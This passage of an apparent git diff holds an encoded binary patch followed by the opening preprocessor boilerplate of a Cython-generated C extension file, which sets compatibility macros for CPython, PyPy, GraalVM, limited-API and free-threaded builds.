z(4ZH^9VE&NC0=P+GO0?Ry3AU0cG87C9h?}UV$KDi1#j}0*Fnm~QT1Xkp_{w6Z|RvB8y@Q$n@nJ_nFbqb)@d<( zrN1y8cwx1#U8`4p?y7a1=F>P%TpRQ5us2Qaj%qoqRd{KtLzIhGj|_}Xx?|Q~*FAavW2Y7ePY=$GIpcw@#*Fz=3U?{mpCJ155z*>S&B_nWn7uFtD` z&5AFpd>!97t@1M&nV2k&Pq^b_+b0K74fzo2F4{^%c`J$IDzD!5$&nDGCdnqj?Usf- z@4DUHNies2bLRSj%=Lwt>x(kiTQb)dXRdqF>x|0HnP@j>qTQTPzd56Rb4LB=O;wVV;NG2y8muB$$+ORR z7L(RBc@ooPCT&te$;(rZ+SLbFl}D0`SJW`xnFYuk{6h^uoF`?S#}lZKvkq|K9m&5M&T%Gs7F z4Dz3llOc_n9A0`+I118B@16=S6c#@@B=)J+Itr zR9UIe$dQ}~Brb2XAS#yH%yN%alDNGsqau-^zIhoj)qoCv&W$szNpo@Birm<3_-;A$ z8?|<$FG$l@OM=&U8KcXgrWQu&El>5M_Oz;X8LC~PE0dGty&)PvdCOcUohTk@b0t0CJM_0+VM)$vX{A+(6}l(!kmco7632N6Yw<|>HAQ(rxYjN7y5Xy9=9rsOOiFPYvBib2A8+1HN%aiD4qHKa{%Yf`qxQW|if;KL@YEkGVOCz-* zRSFu7pgBpC7AVp#l#UAwy#nJUhD4e!jP%wBc)Aw6B2ax7r?9+0b60n3ZI|Cn5;ek$ zH$R$e)9e{xNlq4_owk6M(UM=KlAioV(qU;E;5N&h45yA3SXb^=Gi+BDc6gFmh;sAk zxI*Oz%kC>>TB0hg)NuSH(|P2}(hMepjcVCusJu?obbT2z^bYb&2IcLHQVy)v_#w;gw?1+HRX~_>Q_?c@E!8nnY{_@ zi0BYD=XV@y`o)l2Ime!HdXRqQwc}YEIWl-=&JtVwrXPB=2S}dG7JEM2i8yGnfNG{4 zW1}#xtD0d>R#n3e0a9ag8y8DUozSkt%#$=lqk3VVt6N&U(-ZgVnqRNF8851Cbct2b zYO$A{uMmj|*-Y9^I~vHMRof}%g+29Yqv_5x7n*iVZ&jPpnMYZLS-+8F+b!{YKT{B? zmDH2YX6pEeoU7uiGL*PE=ToLKO!AF`y zncTg__7VbzpPgRGZQOnFtW;xJV6P(53znNVt|HP4lSnUIeNHzeb3W^YZWU2?CsE53 zX65`|EHT@si7Ut4lSC|Ysg)zXP$IU>gIA9Aq9j&v)T|t9x5S#P_06gN%JFVa;za?o zAA!06_b{K9JjhO;wFleZLpvgRx=9Iuo^){LDU8eWHF+W(g!O^y0nMkZVWn20TjO(m zxod5TSKd8Xo8DDzd#p|MsntIr3=gEx-;E?hI{x zyIvTQZ-;$I3y#{;cdPA2gL~l29eGm7bCwmQneBLSWWXI5?RQ;Asp51*0eKzy)mg{w zzk0MdGE^eEb#%KsunhsW^^X&p94SfAt+ZoQ9CpVB2PXz5-N|C#@Bk^~2s1mDJY5|O zcu`Cc)BOo-HI^5K`L#A)xF*kd1B~uyQtM7EkhvOql3HF+o0JHtcgRRg!`fSYx~6Fx zy{j;xUTC0s>!5ngAzihO`;nGQ=F2W=ODA{bg%MR5T^@QIcW82i=ABYzlxr?A+M^=_ zl@|ud-56^@ikDZ(aw7{G$+5~{5i98=lj>cE9lkeD?|V=!$ftdKQ+ek7DrJJR$nI=+ zDC*}eJ4&RgV*OObl%*&v)%!}V=I)-Wkr$>#D;$z?2Y4@e+^@95h*tKzw&G;7Nnq{~ zzd=h0pM|&5a);vLeM-6;ZF9TeJx{tpcIYV<4eVgiEBK6L`op(D9f3F2$ zBDH$arAM2c6I>vagCrJOs?{opYzMiexOkJGh$^i^xg@a@V}}=#4}&$j{qpKYHnD!A z6|*;#w_8cAHYM9b>mnSx>KA+Zo;7A2~)n#RC2Q(VBh2j%6rdQl*8_>1Q$a&t2g)nuBxS ztJdM%)EoR}lX|-+DdtgX;Uve+0d`6}i4>YG7np8O+_AYFQuj+rwR%aL zP$H$umxk3!qh;7xi4>!WM9mmwM>P_D)2S+&&|JvO$_=2+rg}1thCA|NtHllwodfa( zNx`X%WX!64nW=MuTdX)2l`Dwev?|ScWM#^{>L2Otih4x5_xy_u8iZ!aH>zqp{d|L> z)8(HVMkuySU&1o^(E*7ZqhF28)PvnRrEHznLSmh6ZZKTJx|k`E*)hnyvKj1dZsVQ0 z@&b9J-0e;3eCM^#G$||UJ-D0V=%_A@Rj5NImuxn}L(z_G&kft?lQua^tC&&4b1}Qa zK6#MMo*p$WZ3yT|la?YKHT4DL5aSMUu%BCm z=*+4AY)VNb4~L@3u&w%fWzXRt;BD`u7tH2%*x%*Xb^24~Ftbz==~KxtE-OaGKy4TQ zGzC{?(-nieprK~f-y^j$?P`Z2X_j1hRTwmEgs1m!XdIy(XoQhwuiu7Dt*mDdBr6Fm zM%yO`dkCmDhF~-f3}ACvR|`Eq;$~a&XuE;STN3BToP@HfLG1jJ9!DbJKuIa3fwXuG=T%vswHi1nI1geY*)fdmhzz=JWsk>`do|i5U78+PC0)8<=suy$ zvyJp+wE>Oq z6zQOaitKbn3k|BAbdE!Po|7xuUiG_Xo9!<0e$fUbrLikP>Lr-h)7GOBQ14K5RTrA1 z%u#1*MCu9uQjq(y?2Sv$Lci{@Ag)^V*y&QMnJ&8Qnx(N>UC_^`oG$hDQ5UbnNIFoP ziCz92R$g;e(k6FWhhBm?Dui59R9=JLw`SF>nNrDf{I2OJa>#exP`^{_Qt!G@5Z<>Y zu5WA2nLw_+>FLnlC3pM+j$D(`^0_KG)937RhkVaPV396<`|PuU#E;LsI&!AZtEof6neksq zPwA)8N%}Y7vsH5L!ABupOfpB%KM7A?&{D?){hxzK{QUP3_>gn$7=17QXC2vtzcc!5 zCjIx(_b&O6^B*ICq+jBZ^Bl=OlL^1!3>DmwbFaR2%=800yXk^;i@u!*FXwg0kHl~0 z|D6cm2Zj6{0Y2pHApacx74**x|6XF8#h1`Ob(HgGu3ys#4jtV7_>g#|9B(1UA`*UYm%iG2x<2njcn-^lgqQP^#IoV#yL*qmN{8QI7+k{1 z`FBS6hMdaaIEQ3NH5jZv-E$~rKO$ZyNFAdYH~;-Lbw9Xa^gQr#p&N90A~q* zuEE6|a^}xU%XL=tal~&vG-dg7%qC+!kK_B4x6Mk)Y3-)$S(flO-=;HuhLL|WJb$Lx zWE|6H@6-X0eTP`KbNu{SVGeKF@5|@tj`!N@bvXII#3g6`3~;CLr{1o^pPi3BNvnkC z&+y8%#KGs%ojUxk&G`yw%JOG$O~&EB^h4c3&iowTrH3iY_tN*IQjT-*=Hu1vA^Hv! wA7|3P8VO5r$oTzI;zkx(-1**;4*yg7E=Be*<7cT(;qO1B!(VR%Fm9dy1JtDG 0x03030000 + #define Py_LIMITED_API CYTHON_LIMITED_API + #else + #define Py_LIMITED_API 0x03030000 + #endif + #endif +#endif + +#include "Python.h" +#ifndef Py_PYTHON_H + #error Python headers needed to compile C extensions, please install development version of Python. +#elif PY_VERSION_HEX < 0x02070000 || (0x03000000 <= PY_VERSION_HEX && PY_VERSION_HEX < 0x03030000) + #error Cython requires Python 2.7+ or Python 3.3+. +#else +#if defined(CYTHON_LIMITED_API) && CYTHON_LIMITED_API +#define __PYX_EXTRA_ABI_MODULE_NAME "limited" +#else +#define __PYX_EXTRA_ABI_MODULE_NAME "" +#endif +#define CYTHON_ABI "3_0_11" __PYX_EXTRA_ABI_MODULE_NAME +#define __PYX_ABI_MODULE_NAME "_cython_" CYTHON_ABI +#define __PYX_TYPE_MODULE_PREFIX __PYX_ABI_MODULE_NAME "." +#define CYTHON_HEX_VERSION 0x03000BF0 +#define CYTHON_FUTURE_DIVISION 1 +#include +#ifndef offsetof + #define offsetof(type, member) ( (size_t) & ((type*)0) -> member ) +#endif +#if !defined(_WIN32) && !defined(WIN32) && !defined(MS_WINDOWS) + #ifndef __stdcall + #define __stdcall + #endif + #ifndef __cdecl + #define __cdecl + #endif + #ifndef __fastcall + #define __fastcall + #endif +#endif +#ifndef DL_IMPORT + #define DL_IMPORT(t) t +#endif +#ifndef DL_EXPORT + #define DL_EXPORT(t) t +#endif +#define __PYX_COMMA , +#ifndef HAVE_LONG_LONG + #define HAVE_LONG_LONG +#endif +#ifndef PY_LONG_LONG + #define PY_LONG_LONG LONG_LONG +#endif +#ifndef Py_HUGE_VAL + #define Py_HUGE_VAL HUGE_VAL +#endif +#define __PYX_LIMITED_VERSION_HEX PY_VERSION_HEX +#if defined(GRAALVM_PYTHON) + /* For very preliminary testing purposes. Most variables are set the same as PyPy. + The existence of this section does not imply that anything works or is even tested */ + #define CYTHON_COMPILING_IN_PYPY 0 + #define CYTHON_COMPILING_IN_CPYTHON 0 + #define CYTHON_COMPILING_IN_LIMITED_API 0 + #define CYTHON_COMPILING_IN_GRAAL 1 + #define CYTHON_COMPILING_IN_NOGIL 0 + #undef CYTHON_USE_TYPE_SLOTS + #define CYTHON_USE_TYPE_SLOTS 0 + #undef CYTHON_USE_TYPE_SPECS + #define CYTHON_USE_TYPE_SPECS 0 + #undef CYTHON_USE_PYTYPE_LOOKUP + #define CYTHON_USE_PYTYPE_LOOKUP 0 + #if PY_VERSION_HEX < 0x03050000 + #undef CYTHON_USE_ASYNC_SLOTS + #define CYTHON_USE_ASYNC_SLOTS 0 + #elif !defined(CYTHON_USE_ASYNC_SLOTS) + #define CYTHON_USE_ASYNC_SLOTS 1 + #endif + #undef CYTHON_USE_PYLIST_INTERNALS + #define CYTHON_USE_PYLIST_INTERNALS 0 + #undef CYTHON_USE_UNICODE_INTERNALS + #define CYTHON_USE_UNICODE_INTERNALS 0 + #undef CYTHON_USE_UNICODE_WRITER + #define CYTHON_USE_UNICODE_WRITER 0 + #undef CYTHON_USE_PYLONG_INTERNALS + #define CYTHON_USE_PYLONG_INTERNALS 0 + #undef CYTHON_AVOID_BORROWED_REFS + #define CYTHON_AVOID_BORROWED_REFS 1 + #undef CYTHON_ASSUME_SAFE_MACROS + #define CYTHON_ASSUME_SAFE_MACROS 0 + #undef CYTHON_UNPACK_METHODS + #define CYTHON_UNPACK_METHODS 0 + #undef CYTHON_FAST_THREAD_STATE + #define CYTHON_FAST_THREAD_STATE 0 + #undef CYTHON_FAST_GIL + #define CYTHON_FAST_GIL 0 + #undef CYTHON_METH_FASTCALL + #define CYTHON_METH_FASTCALL 0 + #undef CYTHON_FAST_PYCALL + #define CYTHON_FAST_PYCALL 0 + #ifndef CYTHON_PEP487_INIT_SUBCLASS + #define CYTHON_PEP487_INIT_SUBCLASS (PY_MAJOR_VERSION >= 3) + #endif + #undef CYTHON_PEP489_MULTI_PHASE_INIT + #define CYTHON_PEP489_MULTI_PHASE_INIT 1 + #undef CYTHON_USE_MODULE_STATE + #define CYTHON_USE_MODULE_STATE 0 + #undef CYTHON_USE_TP_FINALIZE + #define CYTHON_USE_TP_FINALIZE 0 + #undef CYTHON_USE_DICT_VERSIONS + #define CYTHON_USE_DICT_VERSIONS 0 + #undef CYTHON_USE_EXC_INFO_STACK + #define CYTHON_USE_EXC_INFO_STACK 0 + #ifndef CYTHON_UPDATE_DESCRIPTOR_DOC + #define CYTHON_UPDATE_DESCRIPTOR_DOC 0 + #endif + #undef CYTHON_USE_FREELISTS + #define CYTHON_USE_FREELISTS 0 +#elif defined(PYPY_VERSION) + #define CYTHON_COMPILING_IN_PYPY 1 + #define CYTHON_COMPILING_IN_CPYTHON 0 + #define CYTHON_COMPILING_IN_LIMITED_API 0 + #define CYTHON_COMPILING_IN_GRAAL 0 + #define CYTHON_COMPILING_IN_NOGIL 0 + #undef CYTHON_USE_TYPE_SLOTS + #define CYTHON_USE_TYPE_SLOTS 0 + #ifndef CYTHON_USE_TYPE_SPECS + #define CYTHON_USE_TYPE_SPECS 0 + #endif + #undef CYTHON_USE_PYTYPE_LOOKUP + #define CYTHON_USE_PYTYPE_LOOKUP 0 + #if PY_VERSION_HEX < 0x03050000 + #undef CYTHON_USE_ASYNC_SLOTS + #define CYTHON_USE_ASYNC_SLOTS 0 + #elif !defined(CYTHON_USE_ASYNC_SLOTS) + #define CYTHON_USE_ASYNC_SLOTS 1 + #endif + #undef CYTHON_USE_PYLIST_INTERNALS + #define CYTHON_USE_PYLIST_INTERNALS 0 + #undef CYTHON_USE_UNICODE_INTERNALS + #define CYTHON_USE_UNICODE_INTERNALS 0 + #undef CYTHON_USE_UNICODE_WRITER + #define CYTHON_USE_UNICODE_WRITER 0 + #undef CYTHON_USE_PYLONG_INTERNALS + #define CYTHON_USE_PYLONG_INTERNALS 0 + #undef CYTHON_AVOID_BORROWED_REFS + #define CYTHON_AVOID_BORROWED_REFS 1 + #undef CYTHON_ASSUME_SAFE_MACROS + #define CYTHON_ASSUME_SAFE_MACROS 0 + #undef CYTHON_UNPACK_METHODS + #define CYTHON_UNPACK_METHODS 0 + #undef CYTHON_FAST_THREAD_STATE + #define CYTHON_FAST_THREAD_STATE 0 + #undef CYTHON_FAST_GIL + #define CYTHON_FAST_GIL 0 + #undef CYTHON_METH_FASTCALL + #define CYTHON_METH_FASTCALL 0 + #undef CYTHON_FAST_PYCALL + #define CYTHON_FAST_PYCALL 0 + #ifndef CYTHON_PEP487_INIT_SUBCLASS + #define CYTHON_PEP487_INIT_SUBCLASS (PY_MAJOR_VERSION >= 3) + #endif + #if PY_VERSION_HEX < 0x03090000 + #undef CYTHON_PEP489_MULTI_PHASE_INIT + #define CYTHON_PEP489_MULTI_PHASE_INIT 0 + #elif !defined(CYTHON_PEP489_MULTI_PHASE_INIT) + #define CYTHON_PEP489_MULTI_PHASE_INIT 1 + #endif + #undef CYTHON_USE_MODULE_STATE + #define CYTHON_USE_MODULE_STATE 0 + #undef CYTHON_USE_TP_FINALIZE + #define CYTHON_USE_TP_FINALIZE (PY_VERSION_HEX >= 0x030400a1 && PYPY_VERSION_NUM >= 0x07030C00) + #undef CYTHON_USE_DICT_VERSIONS + #define CYTHON_USE_DICT_VERSIONS 0 + #undef CYTHON_USE_EXC_INFO_STACK + #define CYTHON_USE_EXC_INFO_STACK 0 + #ifndef CYTHON_UPDATE_DESCRIPTOR_DOC + #define CYTHON_UPDATE_DESCRIPTOR_DOC 0 + #endif + #undef CYTHON_USE_FREELISTS + #define CYTHON_USE_FREELISTS 0 +#elif defined(CYTHON_LIMITED_API) + #ifdef Py_LIMITED_API + #undef __PYX_LIMITED_VERSION_HEX + #define __PYX_LIMITED_VERSION_HEX Py_LIMITED_API + #endif + #define CYTHON_COMPILING_IN_PYPY 0 + #define CYTHON_COMPILING_IN_CPYTHON 0 + #define CYTHON_COMPILING_IN_LIMITED_API 1 + #define CYTHON_COMPILING_IN_GRAAL 0 + #define CYTHON_COMPILING_IN_NOGIL 0 + #undef CYTHON_CLINE_IN_TRACEBACK + #define CYTHON_CLINE_IN_TRACEBACK 0 + #undef CYTHON_USE_TYPE_SLOTS + #define CYTHON_USE_TYPE_SLOTS 0 + #undef CYTHON_USE_TYPE_SPECS + #define CYTHON_USE_TYPE_SPECS 1 + #undef CYTHON_USE_PYTYPE_LOOKUP + #define CYTHON_USE_PYTYPE_LOOKUP 0 + #undef CYTHON_USE_ASYNC_SLOTS + #define CYTHON_USE_ASYNC_SLOTS 0 + #undef CYTHON_USE_PYLIST_INTERNALS + #define CYTHON_USE_PYLIST_INTERNALS 0 + #undef CYTHON_USE_UNICODE_INTERNALS + #define CYTHON_USE_UNICODE_INTERNALS 0 + #ifndef CYTHON_USE_UNICODE_WRITER + #define CYTHON_USE_UNICODE_WRITER 0 + #endif + #undef CYTHON_USE_PYLONG_INTERNALS + #define CYTHON_USE_PYLONG_INTERNALS 0 + #ifndef CYTHON_AVOID_BORROWED_REFS + #define CYTHON_AVOID_BORROWED_REFS 0 + #endif + #undef CYTHON_ASSUME_SAFE_MACROS + #define CYTHON_ASSUME_SAFE_MACROS 0 + #undef CYTHON_UNPACK_METHODS + #define CYTHON_UNPACK_METHODS 0 + #undef CYTHON_FAST_THREAD_STATE + #define CYTHON_FAST_THREAD_STATE 0 + #undef CYTHON_FAST_GIL + #define CYTHON_FAST_GIL 0 + #undef CYTHON_METH_FASTCALL + #define CYTHON_METH_FASTCALL 0 + #undef CYTHON_FAST_PYCALL + #define CYTHON_FAST_PYCALL 0 + #ifndef CYTHON_PEP487_INIT_SUBCLASS + #define CYTHON_PEP487_INIT_SUBCLASS 1 + #endif + #undef CYTHON_PEP489_MULTI_PHASE_INIT + #define CYTHON_PEP489_MULTI_PHASE_INIT 0 + #undef CYTHON_USE_MODULE_STATE + #define CYTHON_USE_MODULE_STATE 1 + #ifndef CYTHON_USE_TP_FINALIZE + #define CYTHON_USE_TP_FINALIZE 0 + #endif + #undef CYTHON_USE_DICT_VERSIONS + #define CYTHON_USE_DICT_VERSIONS 0 + #undef CYTHON_USE_EXC_INFO_STACK + #define CYTHON_USE_EXC_INFO_STACK 0 + #ifndef CYTHON_UPDATE_DESCRIPTOR_DOC + #define CYTHON_UPDATE_DESCRIPTOR_DOC 0 + #endif + #undef CYTHON_USE_FREELISTS + #define CYTHON_USE_FREELISTS 0 +#elif defined(Py_GIL_DISABLED) || defined(Py_NOGIL) + #define CYTHON_COMPILING_IN_PYPY 0 + #define CYTHON_COMPILING_IN_CPYTHON 0 + #define CYTHON_COMPILING_IN_LIMITED_API 0 + #define CYTHON_COMPILING_IN_GRAAL 0 + #define CYTHON_COMPILING_IN_NOGIL 1 + #ifndef CYTHON_USE_TYPE_SLOTS + #define CYTHON_USE_TYPE_SLOTS 1 + #endif + #ifndef CYTHON_USE_TYPE_SPECS + #define CYTHON_USE_TYPE_SPECS 0 + #endif + #undef CYTHON_USE_PYTYPE_LOOKUP + #define CYTHON_USE_PYTYPE_LOOKUP 0 + #ifndef CYTHON_USE_ASYNC_SLOTS + #define CYTHON_USE_ASYNC_SLOTS 1 + #endif + #ifndef CYTHON_USE_PYLONG_INTERNALS + #define CYTHON_USE_PYLONG_INTERNALS 0 + #endif + #undef CYTHON_USE_PYLIST_INTERNALS + #define CYTHON_USE_PYLIST_INTERNALS 0 + #ifndef CYTHON_USE_UNICODE_INTERNALS + #define CYTHON_USE_UNICODE_INTERNALS 1 + #endif + #undef CYTHON_USE_UNICODE_WRITER + #define CYTHON_USE_UNICODE_WRITER 0 + #ifndef CYTHON_AVOID_BORROWED_REFS + #define CYTHON_AVOID_BORROWED_REFS 0 + #endif + #ifndef CYTHON_ASSUME_SAFE_MACROS + #define CYTHON_ASSUME_SAFE_MACROS 1 + #endif + #ifndef CYTHON_UNPACK_METHODS + #define CYTHON_UNPACK_METHODS 1 + #endif + #undef CYTHON_FAST_THREAD_STATE + #define CYTHON_FAST_THREAD_STATE 0 + #undef CYTHON_FAST_GIL + #define CYTHON_FAST_GIL 0 + #ifndef CYTHON_METH_FASTCALL + #define CYTHON_METH_FASTCALL 1 + #endif + #undef CYTHON_FAST_PYCALL + #define CYTHON_FAST_PYCALL 0 + #ifndef CYTHON_PEP487_INIT_SUBCLASS + #define CYTHON_PEP487_INIT_SUBCLASS 1 + #endif + #ifndef CYTHON_PEP489_MULTI_PHASE_INIT + #define CYTHON_PEP489_MULTI_PHASE_INIT 1 + #endif + #ifndef CYTHON_USE_MODULE_STATE + #define CYTHON_USE_MODULE_STATE 0 + #endif + #ifndef CYTHON_USE_TP_FINALIZE + #define CYTHON_USE_TP_FINALIZE 1 + #endif + #undef CYTHON_USE_DICT_VERSIONS + #define CYTHON_USE_DICT_VERSIONS 0 + #undef CYTHON_USE_EXC_INFO_STACK + #define CYTHON_USE_EXC_INFO_STACK 0 + #ifndef CYTHON_UPDATE_DESCRIPTOR_DOC + #define CYTHON_UPDATE_DESCRIPTOR_DOC 1 + #endif + #ifndef CYTHON_USE_FREELISTS + #define CYTHON_USE_FREELISTS 0 + #endif +#else + #define CYTHON_COMPILING_IN_PYPY 0 + #define CYTHON_COMPILING_IN_CPYTHON 1 + #define CYTHON_COMPILING_IN_LIMITED_API 0 + #define CYTHON_COMPILING_IN_GRAAL 0 + #define CYTHON_COMPILING_IN_NOGIL 0 + #ifndef CYTHON_USE_TYPE_SLOTS + #define CYTHON_USE_TYPE_SLOTS 1 + #endif + #ifndef CYTHON_USE_TYPE_SPECS + #define CYTHON_USE_TYPE_SPECS 0 + #endif + #ifndef CYTHON_USE_PYTYPE_LOOKUP + #define CYTHON_USE_PYTYPE_LOOKUP 1 + #endif + #if PY_MAJOR_VERSION < 3 + #undef CYTHON_USE_ASYNC_SLOTS + #define CYTHON_USE_ASYNC_SLOTS 0 + #elif !defined(CYTHON_USE_ASYNC_SLOTS) + #define CYTHON_USE_ASYNC_SLOTS 1 + #endif + #ifndef CYTHON_USE_PYLONG_INTERNALS + #define CYTHON_USE_PYLONG_INTERNALS 1 + #endif + #ifndef CYTHON_USE_PYLIST_INTERNALS + #define CYTHON_USE_PYLIST_INTERNALS 1 + #endif + #ifndef CYTHON_USE_UNICODE_INTERNALS + #define CYTHON_USE_UNICODE_INTERNALS 1 + #endif + #if PY_VERSION_HEX < 0x030300F0 || PY_VERSION_HEX >= 0x030B00A2 + #undef CYTHON_USE_UNICODE_WRITER + #define CYTHON_USE_UNICODE_WRITER 0 + #elif !defined(CYTHON_USE_UNICODE_WRITER) + #define CYTHON_USE_UNICODE_WRITER 1 + #endif + #ifndef CYTHON_AVOID_BORROWED_REFS + #define CYTHON_AVOID_BORROWED_REFS 0 + #endif + #ifndef CYTHON_ASSUME_SAFE_MACROS + #define CYTHON_ASSUME_SAFE_MACROS 1 + #endif + #ifndef CYTHON_UNPACK_METHODS + #define CYTHON_UNPACK_METHODS 1 + #endif + #ifndef CYTHON_FAST_THREAD_STATE + #define CYTHON_FAST_THREAD_STATE 1 + #endif + #ifndef CYTHON_FAST_GIL + #define CYTHON_FAST_GIL (PY_MAJOR_VERSION < 3 || PY_VERSION_HEX >= 0x03060000 && PY_VERSION_HEX < 0x030C00A6) + #endif + #ifndef CYTHON_METH_FASTCALL + #define CYTHON_METH_FASTCALL (PY_VERSION_HEX >= 0x030700A1) + #endif + #ifndef CYTHON_FAST_PYCALL + #define CYTHON_FAST_PYCALL 1 + #endif + #ifndef CYTHON_PEP487_INIT_SUBCLASS + #define CYTHON_PEP487_INIT_SUBCLASS 1 + #endif + #if PY_VERSION_HEX < 0x03050000 + #undef CYTHON_PEP489_MULTI_PHASE_INIT + #define CYTHON_PEP489_MULTI_PHASE_INIT 0 + #elif !defined(CYTHON_PEP489_MULTI_PHASE_INIT) + #define CYTHON_PEP489_MULTI_PHASE_INIT 1 + #endif + #ifndef CYTHON_USE_MODULE_STATE + #define CYTHON_USE_MODULE_STATE 0 + #endif + #if PY_VERSION_HEX < 0x030400a1 + #undef CYTHON_USE_TP_FINALIZE + #define CYTHON_USE_TP_FINALIZE 0 + #elif !defined(CYTHON_USE_TP_FINALIZE) + #define CYTHON_USE_TP_FINALIZE 1 + #endif + #if PY_VERSION_HEX < 0x030600B1 + #undef CYTHON_USE_DICT_VERSIONS + #define CYTHON_USE_DICT_VERSIONS 0 + #elif !defined(CYTHON_USE_DICT_VERSIONS) + #define CYTHON_USE_DICT_VERSIONS (PY_VERSION_HEX < 0x030C00A5) + #endif + #if PY_VERSION_HEX < 0x030700A3 + #undef CYTHON_USE_EXC_INFO_STACK + #define CYTHON_USE_EXC_INFO_STACK 0 + #elif !defined(CYTHON_USE_EXC_INFO_STACK) + #define CYTHON_USE_EXC_INFO_STACK 1 + #endif + #ifndef CYTHON_UPDATE_DESCRIPTOR_DOC + #define CYTHON_UPDATE_DESCRIPTOR_DOC 1 + #endif + #ifndef CYTHON_USE_FREELISTS + #define CYTHON_USE_FREELISTS 1 + #endif +#endif +#if !defined(CYTHON_FAST_PYCCALL) +#define CYTHON_FAST_PYCCALL (CYTHON_FAST_PYCALL && PY_VERSION_HEX >= 0x030600B1) +#endif +#if !defined(CYTHON_VECTORCALL) +#define CYTHON_VECTORCALL (CYTHON_FAST_PYCCALL && PY_VERSION_HEX >= 0x030800B1) +#endif +#define CYTHON_BACKPORT_VECTORCALL (CYTHON_METH_FASTCALL && PY_VERSION_HEX < 0x030800B1) +#if CYTHON_USE_PYLONG_INTERNALS + #if PY_MAJOR_VERSION < 3 + #include "longintrepr.h" + #endif + #undef SHIFT + #undef BASE + #undef MASK + #ifdef SIZEOF_VOID_P + enum { __pyx_check_sizeof_voidp = 1 / (int)(SIZEOF_VOID_P == sizeof(void*)) }; + #endif +#endif +#ifndef __has_attribute + #define __has_attribute(x) 0 +#endif +#ifndef __has_cpp_attribute + #define __has_cpp_attribute(x) 0 +#endif +#ifndef CYTHON_RESTRICT + #if defined(__GNUC__) + #define CYTHON_RESTRICT __restrict__ + #elif defined(_MSC_VER) && _MSC_VER >= 1400 + #define CYTHON_RESTRICT __restrict + #elif defined (__STDC_VERSION__) && __STDC_VERSION__ >= 199901L + #define CYTHON_RESTRICT restrict + #else + #define CYTHON_RESTRICT + #endif +#endif +#ifndef CYTHON_UNUSED + #if defined(__cplusplus) + /* for clang __has_cpp_attribute(maybe_unused) is true even before C++17 + * but leads to warnings with -pedantic, since it is a C++17 feature */ + #if ((defined(_MSVC_LANG) && _MSVC_LANG >= 201703L) || __cplusplus >= 201703L) + #if __has_cpp_attribute(maybe_unused) + #define CYTHON_UNUSED [[maybe_unused]] + #endif + #endif + #endif +#endif +#ifndef CYTHON_UNUSED +# if defined(__GNUC__) +# if !(defined(__cplusplus)) || (__GNUC__ > 3 || (__GNUC__ == 3 && __GNUC_MINOR__ >= 4)) +# define CYTHON_UNUSED __attribute__ ((__unused__)) +# else +# define CYTHON_UNUSED +# endif +# elif defined(__ICC) || (defined(__INTEL_COMPILER) && !defined(_MSC_VER)) +# define CYTHON_UNUSED __attribute__ ((__unused__)) +# else +# define CYTHON_UNUSED +# endif +#endif +#ifndef CYTHON_UNUSED_VAR +# if defined(__cplusplus) + template void CYTHON_UNUSED_VAR( const T& ) { } +# else +# define CYTHON_UNUSED_VAR(x) (void)(x) +# endif +#endif +#ifndef CYTHON_MAYBE_UNUSED_VAR + #define CYTHON_MAYBE_UNUSED_VAR(x) CYTHON_UNUSED_VAR(x) +#endif +#ifndef CYTHON_NCP_UNUSED +# if CYTHON_COMPILING_IN_CPYTHON +# define CYTHON_NCP_UNUSED +# else +# define CYTHON_NCP_UNUSED CYTHON_UNUSED +# endif +#endif +#ifndef CYTHON_USE_CPP_STD_MOVE + #if defined(__cplusplus) && (\ + __cplusplus >= 201103L || (defined(_MSC_VER) && _MSC_VER >= 1600)) + #define CYTHON_USE_CPP_STD_MOVE 1 + #else + #define CYTHON_USE_CPP_STD_MOVE 0 + #endif +#endif +#define __Pyx_void_to_None(void_result) ((void)(void_result), Py_INCREF(Py_None), Py_None) +#ifdef _MSC_VER + #ifndef _MSC_STDINT_H_ + #if _MSC_VER < 1300 + typedef unsigned char uint8_t; + typedef unsigned short uint16_t; + typedef unsigned int uint32_t; + #else + typedef unsigned __int8 uint8_t; + typedef unsigned __int16 uint16_t; + typedef unsigned __int32 uint32_t; + #endif + #endif + #if _MSC_VER < 1300 + #ifdef _WIN64 + typedef unsigned long long __pyx_uintptr_t; + #else + typedef unsigned int __pyx_uintptr_t; + #endif + #else + #ifdef _WIN64 + typedef unsigned __int64 __pyx_uintptr_t; + #else + typedef unsigned __int32 __pyx_uintptr_t; + #endif + #endif +#else + #include + typedef uintptr_t __pyx_uintptr_t; +#endif +#ifndef CYTHON_FALLTHROUGH + #if defined(__cplusplus) + /* for clang __has_cpp_attribute(fallthrough) is true even before C++17 + * but leads to warnings with -pedantic, since it is a C++17 feature */ + #if ((defined(_MSVC_LANG) && _MSVC_LANG >= 201703L) || __cplusplus >= 201703L) + #if __has_cpp_attribute(fallthrough) + #define CYTHON_FALLTHROUGH [[fallthrough]] + #endif + #endif + #ifndef CYTHON_FALLTHROUGH + #if __has_cpp_attribute(clang::fallthrough) + #define CYTHON_FALLTHROUGH [[clang::fallthrough]] + #elif __has_cpp_attribute(gnu::fallthrough) + #define CYTHON_FALLTHROUGH [[gnu::fallthrough]] + #endif + #endif + #endif + #ifndef CYTHON_FALLTHROUGH + #if __has_attribute(fallthrough) + #define CYTHON_FALLTHROUGH __attribute__((fallthrough)) + #else + #define CYTHON_FALLTHROUGH + #endif + #endif + #if defined(__clang__) && defined(__apple_build_version__) + #if __apple_build_version__ < 7000000 + #undef CYTHON_FALLTHROUGH + #define CYTHON_FALLTHROUGH + #endif + #endif +#endif +#ifdef __cplusplus + template + struct __PYX_IS_UNSIGNED_IMPL {static const bool value = T(0) < T(-1);}; + #define __PYX_IS_UNSIGNED(type) (__PYX_IS_UNSIGNED_IMPL::value) +#else + #define __PYX_IS_UNSIGNED(type) (((type)-1) > 0) +#endif +#if CYTHON_COMPILING_IN_PYPY == 1 + #define __PYX_NEED_TP_PRINT_SLOT (PY_VERSION_HEX >= 0x030800b4 && PY_VERSION_HEX < 0x030A0000) +#else + #define __PYX_NEED_TP_PRINT_SLOT (PY_VERSION_HEX >= 0x030800b4 && PY_VERSION_HEX < 0x03090000) +#endif +#define __PYX_REINTERPRET_FUNCION(func_pointer, other_pointer) ((func_pointer)(void(*)(void))(other_pointer)) + +#ifndef CYTHON_INLINE + #if defined(__clang__) + #define CYTHON_INLINE __inline__ __attribute__ ((__unused__)) + #elif defined(__GNUC__) + #define CYTHON_INLINE __inline__ + #elif defined(_MSC_VER) + #define CYTHON_INLINE __inline + #elif defined (__STDC_VERSION__) && __STDC_VERSION__ >= 199901L + #define CYTHON_INLINE inline + #else + #define CYTHON_INLINE + #endif +#endif + +#define __PYX_BUILD_PY_SSIZE_T "n" +#define CYTHON_FORMAT_SSIZE_T "z" +#if PY_MAJOR_VERSION < 3 + #define 